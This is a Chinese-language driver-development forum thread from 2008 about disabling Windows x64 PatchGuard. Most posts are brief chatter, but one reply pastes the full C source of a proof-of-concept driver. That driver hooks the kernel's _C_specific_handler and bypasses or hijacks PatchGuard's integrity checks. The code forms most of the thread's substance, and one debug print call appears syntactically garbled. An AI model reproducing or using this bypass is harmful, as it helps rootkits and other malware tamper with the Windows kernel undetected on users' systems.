我最老实
驱动小牛
驱动小牛
  • 注册日期2005-09-11
  • 最后登录2010-01-27
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望253点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
阅读:30096回复:128

Disable X64 PatchGuard

楼主#
更多 发布于:2008-05-12 13:52
本部分内容设定了隐藏,需要回复后才能看到


次论坛如何去除隐藏?
养牛专业户
GoodOnline
驱动小牛
驱动小牛
  • 注册日期2007-04-11
  • 最后登录2009-02-28
  • 粉丝0
  • 关注0
  • 积分4分
  • 威望204点
  • 贡献值0点
  • 好评度191点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2008-05-12 14:33
隐藏个啥子阿
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
板凳#
发布于:2008-05-12 15:11
偷窥一下隐藏了啥子
root60931
驱动大牛
驱动大牛
  • 注册日期2002-10-25
  • 最后登录2023-10-29
  • 粉丝2
  • 关注0
  • 积分1013分
  • 威望432点
  • 贡献值0点
  • 好评度311点
  • 原创分0分
  • 专家分0分
  • 社区居民
地板#
发布于:2008-05-12 16:16
隐藏个啥子阿
好好学习,天天向上! root60931@gmail.com
sudami
驱动牛犊
驱动牛犊
  • 注册日期2007-03-01
  • 最后登录2010-03-05
  • 粉丝0
  • 关注0
  • 积分4分
  • 威望30点
  • 贡献值0点
  • 好评度16点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2008-05-12 19:26
什么玩意啊?
plzy86
驱动牛犊
驱动牛犊
  • 注册日期2007-01-12
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望16点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2008-05-12 19:54
不需要把
Leopard
驱动老牛
驱动老牛
  • 注册日期2001-07-13
  • 最后登录2021-12-15
  • 粉丝0
  • 关注0
  • 积分8分
  • 威望53点
  • 贡献值0点
  • 好评度19点
  • 原创分0分
  • 专家分0分
  • 社区居民
  • 忠实会员
6楼#
发布于:2008-05-13 09:14
看看。
zqw2006
驱动牛犊
驱动牛犊
  • 注册日期2006-07-07
  • 最后登录2009-02-02
  • 粉丝0
  • 关注0
  • 积分430分
  • 威望44点
  • 贡献值0点
  • 好评度43点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2008-05-13 10:57
what ?
rhettxie
驱动牛犊
驱动牛犊
  • 注册日期2004-10-27
  • 最后登录2010-02-04
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望65点
  • 贡献值0点
  • 好评度59点
  • 原创分0分
  • 专家分0分
8楼#
发布于:2008-05-13 11:05
see
静水流深
我最老实
驱动小牛
驱动小牛
  • 注册日期2005-09-11
  • 最后登录2010-01-27
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望253点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2008-05-13 13:12
引用楼主我最老实于2008-05-12 13:52发表的 Disable X64 PatchGuard :
此处是被引用的隐藏贴

不知道如何去除隐藏。好像论坛有问题。
附件欧写的一个禁止windows x64 PatchGuard的驱动,给有兴趣的喷油
养牛专业户
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
10楼#
发布于:2008-05-13 13:59
 无语了!!!都能load driver了你还 disable patchguard有个神马用啊!
驱动开发者 呵呵
codez
驱动牛犊
驱动牛犊
  • 注册日期2005-06-20
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望73点
  • 贡献值0点
  • 好评度49点
  • 原创分0分
  • 专家分0分
11楼#
发布于:2008-05-13 14:43
别藏着
我最老实
驱动小牛
驱动小牛
  • 注册日期2005-09-11
  • 最后登录2010-01-27
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望253点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
12楼#
发布于:2008-05-13 16:57
引用第10楼WQXNETQIQI于2008-05-13 13:59发表的  :
 无语了!!!都能load driver了你还 disable patchguard有个神马用啊!


不知道这位老牛是不知道PatchGuard还是地震把脑袋震晕了。
没听说PatchGuard不让加载驱动。它只是防止修改Xxx内核数据。哈哈!
该牛不牛,不该牛牛。
养牛专业户
gojoy
驱动牛犊
驱动牛犊
  • 注册日期2007-02-03
  • 最后登录2011-03-27
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望45点
  • 贡献值0点
  • 好评度23点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2008-05-13 17:44
支持
xiaofang
驱动牛犊
驱动牛犊
  • 注册日期2002-03-12
  • 最后登录2013-04-26
  • 粉丝0
  • 关注0
  • 积分9分
  • 威望67点
  • 贡献值0点
  • 好评度22点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2008-05-13 18:23
什么东东
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
15楼#
发布于:2008-05-13 19:40
都能加载驱动了,还不能XX内核数据?搞笑!
驱动开发者 呵呵
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
16楼#
发布于:2008-05-13 22:51
网上据说已经出了3个版本了.
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
ufphpczhang
驱动牛犊
驱动牛犊
  • 注册日期2007-04-15
  • 最后登录2014-07-08
  • 粉丝0
  • 关注0
  • 积分8分
  • 威望105点
  • 贡献值0点
  • 好评度22点
  • 原创分0分
  • 专家分0分
17楼#
发布于:2008-05-14 01:24
sea
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
18楼#
发布于:2008-05-14 08:53
引用第15楼WQXNETQIQI于2008-05-13 19:40发表的  :
都能加载驱动了,还不能XX内核数据?搞笑!

如果MS 把PATCHGUARD做到VMM中,并且好好设计下的话,还真的不能再XX内核数据了,可惜目前的......
//
// PatchGuard Disable and Subvert Driver
// Copyright (C) 2006-2007 Ken Johnson (Skywing)
//
// This driver demonstrates one possible approach to programmatically disabling
// PatchGuard version 2.  Additionally, it demonstrates one possible approach
// for taking control of the PatchGuard system integrity check routine.
//
// This source code listing is intended as a minimal proof of concept and
// should not, as a result, be considered production-quality source code.  In
// particular, there are various simplifications (rare race conditions are
// ignored, prologues are assumed instead of disassembled, and soforth) and
// assumptions that would need to be addressed in a production-quality
// implementation.
//
// The author explicitly disclaims all warranties (including implicit
// warranties) and responsibility relating to software derived from the
// knowledge gained by understanding this code listing (or the use of this code
// listing).  In particular, the author explicitly does not warrant that this
// code listing will remain effective for future operating system releases.
//
// Ken Johnson (Skywing)
// skywing@valhallalegends.com
//

#include <ntddk.h>
#include "pgdisabl.h"

//
// Subvert PatchGuard to call our routines instead?  Disabling this simply
// has us skip PatchGuard.  Otherwise, we make PatchGuard call us instead of
// itself.
//

#define PG_SUBVERT_PATCHGUARD 1

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD     DriverUnload;

#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#endif // ALLOC_PRAGMA

ULONG64 PgRealDpcRoutineReturnAddress;
ULONG64 PgCSpecificHandlerRsp;

ULONG PgBreakOnPatchGuard = 0;
PVOID _C_specific_handler;
PVOID Orig_C_specific_handlerRestorePointer;
PVOID My_C_specific_handler = PgCSpecificHandler;
PKDEFERRED_ROUTINE PgPatchGuardDpcRoutine;

ULONG64 PgCSpecificHandlerArguments[ 4 ];
// mov rax,xxxxxxxxxxxxxxxx
// jmp rax
UCHAR Pg_C_specific_handler_hook[ 0xF ] =
{
    0x48,
    0xB8,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0xFF,
    0xE0,
    0x90,
    0x90,
    0x90
};


EXCEPTION_DISPOSITION
NTAPI
PgCSpecificHandler(
    __in PEXCEPTION_RECORD ExceptionRecord,
    __in ULONG64 EstablisherFrame,
    __inout PCONTEXT ContextRecord,
    __inout struct _DISPATCHER_CONTEXT* DispatcherContext
    )
{
    //
    // Check if we're AV'ing on a kernel address.  (This should never happen,
    // except in the case of PatchGuard.  It is considered illegal to use a
    // try/except to guard against invalid kernel addresses; the system is
    // supposed to always crash in that case.)
    //

    if (ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION &&
        IS_KERNEL_ADDRESS(ExceptionRecord->ExceptionAddress)      &&
        ExceptionRecord->NumberParameters >= 2                    &&
        IS_KERNEL_ADDRESS(ExceptionRecord->ExceptionInformation[ 1 ]))
    {
        PRUNTIME_FUNCTION  RuntimeFunction;
        ULONG64            ImageBase;
        PEXCEPTION_ROUTINE ExceptionRoutine;
        PVOID              HandlerData;

        //
        // Okay, we're probably PatchGuard trying to do something evil.  Let's
        // try and bypass the checker routine.
        //

        KdPrint(("PGDISABL: Caught PatchGuard with Exr %p Cxr %p (RIP %p R/W %x on VA %p)...\n",
            ExceptionRecord,
            ContextRecord,
            ExceptionRecord->ExceptionAddress,
            (ULONG)ExceptionRecord->ExceptionInformation[ 0 ],
            ExceptionRecord->ExceptionInformation[ 1 ]));

        if (PgBreakOnPatchGuard)
        {
            KdPrint(("PGDISABL: Breaking on PatchGuard check routine; use the commands:  .exr %p ; .cxr %p\n",
                ExceptionRecord,
                ContextRecord);
            KdBreakPoint());
        }

        //
        // Let's initiate a virtual unwind past the DPC routine to the caller.
        //
        // This is okay, because the caller should just be doing DPC dispatches
        // and won't care anything about what we're doing.
        //

        RuntimeFunction = RtlLookupFunctionEntry(
            (ULONG64)ExceptionRecord->ExceptionAddress,
            &ImageBase,
            0);

        if (!RuntimeFunction)
        {
            KdPrint(("PGDISABL: Failed to locate RuntimeFunction for %p...\n",
                ExceptionRecord->ExceptionAddress));
            KdBreakPoint();
            return ExceptionContinueSearch;
        }

        //
        // If PatchGuard Subversion is enabled, then we'll try to subvert
        // PatchGuard for nefarious purposes... muahahaha (well, if you count
        // doing a demo DbgPrint nefarious purposes, anyway).
        //

#if PG_SUBVERT_PATCHGUARD
        if (PgSubvertPatchGuard(
            ExceptionRecord,
            EstablisherFrame,
            ContextRecord,
            DispatcherContext,
            RuntimeFunction,
            ImageBase))
        {
            KdPrint(("PGDISABL: Successfully subverted PatchGuard.\n"));

            //
            // Unhook from _C_cpecific_handler as we don't need it anymore.
            //

            PgHookCSpecificHandler(FALSE);

            //
            // Return a bogus return value now - it'll be ignored since we are
            // actually returning to PgCSpecificHandlerUnhookReturnPoint, which
            // will ensure rcx/rdx/r8/r9 are setup properly and then jump to
            // the original _C_specific_handler's first instruction.
            //

            //
            // Adjust our return address as we have unhooked from the exception
            // handler and don't want to return into the middle of it.
            // Instead, we'll magically return to the *start* of the exception
            // handler with all of the argument registers intact.  Neat, huh?
            //
            // Note that this only works because we know that PatchGuard won't
            // be called from multiple threads simultaneously, or recursively,
            // or anything like that.  As a result, we can get away with being
            // sleazy and storing things that should normally be stack-based as
            // global variables.
            //

            *(void**)_AddressOfReturnAddress() = PgCSpecificHandlerUnhookReturnPoint;

            //
            // Save away the arguments to this _C_specific_handler
            // call instance.
            //

            PgCSpecificHandlerArguments[ 0 ] = (ULONG64)ExceptionRecord;
            PgCSpecificHandlerArguments[ 1 ] = (ULONG64)EstablisherFrame;
            PgCSpecificHandlerArguments[ 2 ] = (ULONG64)ContextRecord;
            PgCSpecificHandlerArguments[ 3 ] = (ULONG64)DispatcherContext;

            return ExceptionContinueExecution; // Ignored!
        }
#endif

        if (PgBreakOnPatchGuard)
        {
            KdPrint(("PGDISABL: Invoking RtlVirtualUnwind for Exr %p Cxr %p Rtfe %p...\n",
                ExceptionRecord,
                ContextRecord,
                RuntimeFunction));
            KdBreakPoint();
        }

        //
        // Invoke a virtual procedure call unwind.  This is essentially
        // executing an immediate return from the faulting function.  While it
        // simulates the restoration of the stack, it does not invoke any of
        // the evil PatchGuard checking code in the faulting routine.
        //

        ExceptionRoutine = RtlVirtualUnwind(
            UNW_FLAG_NHANDLER,
            ImageBase,
            (ULONG64)ExceptionRecord->ExceptionAddress,
            RuntimeFunction,
            ContextRecord,
            &HandlerData,
            &EstablisherFrame,
            0);

        if (PgBreakOnPatchGuard)
        {
            KdPrint(("PGDISABL: RtlVirtualUnwind completed (returned ExceptionRoutine %p).\n"
                     "Examine the previously supplied context record to see the new exception return information.\n"
                     , ExceptionRoutine));
            KdBreakPoint();
        }

        return ExceptionContinueExecution;
    }

    KdPrint(("PGDISABL: Passing on exception (Exr %p Cxr %p) to original handler.\n",
        ExceptionRecord,
        ContextRecord));

    return PgOrig_C_specific_handler(
        ExceptionRecord,
        EstablisherFrame,
        ContextRecord,
        DispatcherContext);
}

NTSTATUS
NTAPI
PgHookCSpecificHandler(
    __in BOOLEAN Enable
    )
{
    PMDL        Mdl;
    PVOID       LockedVa;
    NTSTATUS    Status;

    Mdl      = 0;
    LockedVa = 0;

    for (;;)
    {
        //
        // Create a MDL describing system space for _C_specific_handler.
        //

        Mdl = IoAllocateMdl(
            _C_specific_handler,
            0xF,
            FALSE,
            FALSE,
            0);

        if (!Mdl)
        {
            Status = STATUS_INSUFFICIENT_RESOURCES;
            KdPrint(("PGDISABL: Failed to allocate MDL.\n"));
            break;
        }

        MmBuildMdlForNonPagedPool(
            Mdl);

        //
        // Retrieve a locked VA mapping.
        //

        if (!(LockedVa = (PUCHAR)MmMapLockedPagesSpecifyCache(
            Mdl,
            KernelMode,
            MmCached,
            0,
            FALSE,
            NormalPagePriority)))
        {
            Status = STATUS_ACCESS_VIOLATION;
            KdPrint(("PGDISABL: Failed to map kernel VA for _C_specific_handler.\n"));
            break;
        }

        //
        // If we're requested to hook it then do so now...
        //

        if (Enable)
        {
            //
            // Setup the restore pointer.
            //

            Orig_C_specific_handlerRestorePointer = (PUCHAR)_C_specific_handler + 0xF;

            //
            // Copy over our hook on _C_specific_handler.
            //

            RtlCopyMemory(
                LockedVa,
                Pg_C_specific_handler_hook,
                0xF);
        }
        else
        {
            //
            // Unhook the function by copying back the original bits...
            //

            RtlCopyMemory(
                LockedVa,
                PgOrig_C_specific_handler,
                0xF);
        }

        //
        // All done...
        //

        Status = STATUS_SUCCESS;

        break;
    }

    if (LockedVa)
        MmUnmapLockedPages(
            LockedVa,
            Mdl);

    if (Mdl)
        IoFreeMdl(
            Mdl);

    return Status;
}

NTSTATUS
NTAPI
PgDisablePatchGuard(
    VOID
    )
{
    UNICODE_STRING ProcedureName;
    NTSTATUS       Status;

    //
    // mov rax, OFFSET PgCSpecificHandler
    // jmp rax
    //

    *(PULONGLONG)&Pg_C_specific_handler_hook[ 0x2 ] = (ULONGLONG)PgCSpecificHandler;

    RtlInitUnicodeString(
        &ProcedureName,
        L"__C_specific_handler");


    for (;;)
    {
        //
        // Locate _C_specific_handler...
        //

        _C_specific_handler = MmGetSystemRoutineAddress(
            &ProcedureName);

        if (!_C_specific_handler)
        {
            Status = STATUS_PROCEDURE_NOT_FOUND;
            KdPrint(("PGDISABL: Failed to locate nt!_C_specific_handler - aborting.\n"));
            break;
        }

        //
        // Hook _C_specific_handler.
        //

        Status = PgHookCSpecificHandler(
            TRUE);

        if (!NT_SUCCESS(Status))
            break;

        //
        // All done...
        //

        Status = STATUS_SUCCESS;

        KdPrint(("PGDISABL: Finished patching.  Restore pointer is %p, hookedroutine is %p.\n",
            Orig_C_specific_handlerRestorePointer,
            _C_specific_handler
            ));

        if (PgBreakOnPatchGuard)
        {
            KdBreakPoint();
        }

        break;
    }

    return Status;
}

NTSTATUS
NTAPI
DriverEntry(
    __in PDRIVER_OBJECT  DriverObject,
    __in PUNICODE_STRING RegistryPath
    )
{
    NTSTATUS Status = PgDisablePatchGuard();

    if (!NT_SUCCESS(Status))
    {
        KdPrint(("PGDISABL: Failed to disable PatchGuard (%x).\n",
            Status));
        return Status;
    }

    DriverObject->DriverUnload = DriverUnload;

    return STATUS_SUCCESS;
}

VOID
NTAPI
DriverUnload(
    __in PDRIVER_OBJECT  DriverObject
    )
{
    KdPrint(("PGDISABL: Unloading PGDISABL driver image.\n"));
}
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
我最老实
驱动小牛
驱动小牛
  • 注册日期2005-09-11
  • 最后登录2010-01-27
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望253点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
19楼#
发布于:2008-05-14 09:03
引用第16楼wowocock于2008-05-13 22:51发表的  :
网上据说已经出了3个版本了.


还是wowo鸡有研究。赞一个。
养牛专业户
上一页
游客

返回顶部